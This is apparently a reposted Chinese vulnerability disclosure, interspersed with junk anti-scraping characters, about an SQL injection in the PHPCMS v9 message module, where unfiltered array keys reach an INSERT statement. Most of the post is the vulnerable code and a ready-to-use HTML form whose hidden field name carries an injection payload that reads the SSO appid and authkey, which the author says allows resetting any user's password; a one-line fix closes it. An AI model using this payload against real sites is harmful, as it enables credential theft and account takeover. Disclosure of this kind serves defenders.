|
|
简要描述:
% B0 c) S3 T O& b- O4 m4 a% b) l& o @; T: O3 G+ Q$ | p$ Y
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
) P1 b1 E' l" [# N# K% B5 C
! {& S, e, s: ^, F8 k$ C( r$ n7 h明天再更新下一个漏洞。
5 |! u( e* f% w i详细说明:
9 U- } X; S9 Y2 d, X# B$ V在/phpcms9/phpcms/modules/message/index.php中有代码如下:
0 S. R4 |8 S$ V# k
. W) T) g5 r1 ?/ c$messageid = $this->message_db->insert($_POST['info'],true);
) A9 ]& e) r; G4 @$ I4 b( g1 }+ p
3 f7 ]% R4 ^2 g6 Q7 i( Q a" [3 }5 L- ?: G; D, p# p* B
insert方法是key value的,代码如下:
$ s8 q# O/ d7 X6 K" ~ w0 Y5 W
/ r+ D1 g, e0 Cpublic function insert($data, $table, $return_insert_id = false, $replace = false) { R; A7 f+ Z. Q" u; q: b! r
if(!is_array( $data ) || $table == '' || count($data) == 0) { S% k @) f% p( C v) ]5 y3 b5 O3 z
return false;
% O& r& d, m3 g) J; j4 L) B3 X }
. y2 a! s$ I; p3 a4 k & C1 U3 m8 o4 T( }
$fielddata = array_keys($data);/ V: U( @& ]7 T' t5 C& X! q* W
$valuedata = array_values($data);
' Q+ P% O6 u9 o2 |3 j0 z7 f array_walk($fielddata, array($this, 'add_special_char'));
5 V9 n, a1 {" F7 Q array_walk($valuedata, array($this, 'escape_string'));* {7 R m; p, g* G5 Y/ |4 S
1 s( T' a0 A: d1 ?; J# r' s
$field = implode (',', $fielddata);
6 b+ M( l q. N: H% |) y/ x $value = implode (',', $valuedata);
3 N, x1 s Z& ]) `* F. l6 t# M+ I4 t: n+ l9 l
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
9 h6 h$ K0 \6 N5 m% A1 f2 c $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';" P: o# \! a8 r) y' d( y: F. G8 o
$return = $this->execute($sql);
" l \/ V* m, K4 @. \/ _; \ return $return_insert_id ? $this->insert_id() : $return;
3 |# \& m% J& x1 x# [9 \ }% V, T! P* F/ c4 Z
. i* k5 I0 G' `" S% [7 z9 I! {
' r& J' I! q& x
嗯,很遗憾的是 \$ C6 _9 O/ E% s
d0 f" t5 k" _! Z- uarray_walk($fielddata, array($this, 'add_special_char'));" o% Y, R) Z% F3 F
2 d; X0 I& W/ R. _( m' A5 U; _
6 F5 e7 W Z7 A X中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。4 @8 @( o& ^ I' Y0 {4 f
" c( P' Q. G9 ] i* J- n, V6 m到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
7 e$ F# \& x* @* Y4 R
5 N8 ?" E* ^! a$ ]* F) H漏洞证明:
2 x8 ?) c; R. T读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
" _/ n5 i' t+ W/ e4 t3 G6 S; I
' i/ V/ C1 ^3 r* }" W) a2 \
`$ {% \/ @/ R表单如下:用户名什么的得自己改一改。
: Y8 R: @' p1 L7 y, g! ~<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">; X, N3 j/ b5 `1 c! L5 ?0 K
<table width="100%" cellspacing="0" class="table_form">
( O7 Q) a2 {+ n# m( p+ o) r, Y0 [<tr>
5 O, o2 }: l+ ?: w' Q( e2 j. J<th>标 题:</th>6 t. p+ v0 E7 R2 }4 {4 L ^( n
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
) f/ a" q, ^% o* T</tr> . C; f& z3 d5 Q1 s2 w
<tr>, r. b( Q- H) S6 @
<th>内 容:</th>
: v% t! H* y7 n4 R3 ]; ?<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>) r( C; i9 w! e, ?8 |) G) A
</tr>
6 W/ f! e% H d" [9 G8 E s<input type="hidden" name="info[replyid]" value="2" /> 6 w. `2 X( h: ?+ n6 m- M
<input type="hidden" name="info[send_to_id]" value="cc" /> $ C/ ?3 G8 q2 b& ]% C4 D
<input type="hidden" name="info[send_from_id]" value="hh">
, O- Z1 |- o9 ~$ r$ t( X<!-- 漏洞的利用重点在这里开始 -->
' U7 L) v3 N. M# u4 _) H! V; V, a<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
: v2 w9 e8 P0 m<!-- 漏洞的利用重点在这里结束 -->
; n9 H- q. B b. o+ q. k<tr>
1 ?8 t1 Z: h# X<th>验证码:</th>( x: |0 _; K( A2 I
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
* ^4 H/ R @, j</tr>
2 T6 z9 B. m" x2 [2 u9 I<tr># R" F4 {# [1 Z6 i
<td></td>
; f" y% T, g& q6 f5 S8 ~<td colspan="2"><label>
7 L# D4 U0 d! r; E3 k3 ^. H<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# |" M. }0 @0 P</label></td>
. L4 r! h! S7 c</tr>9 v; i$ E; c+ D, @9 Q" A
</table>* w. s# l0 S* C4 I0 t$ ?
</form>
' C; S; m% \3 `. Q* L在add_special_char函数内对key做过滤就可以了。) w6 ~6 D; n+ B" z1 T, n: o
4 ]8 \# c+ [0 y4 z2 {9 `! w
# a4 K/ `/ F9 q7 k/ h
* J$ o0 z. |% Y Y2 b( W9 J9 p
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|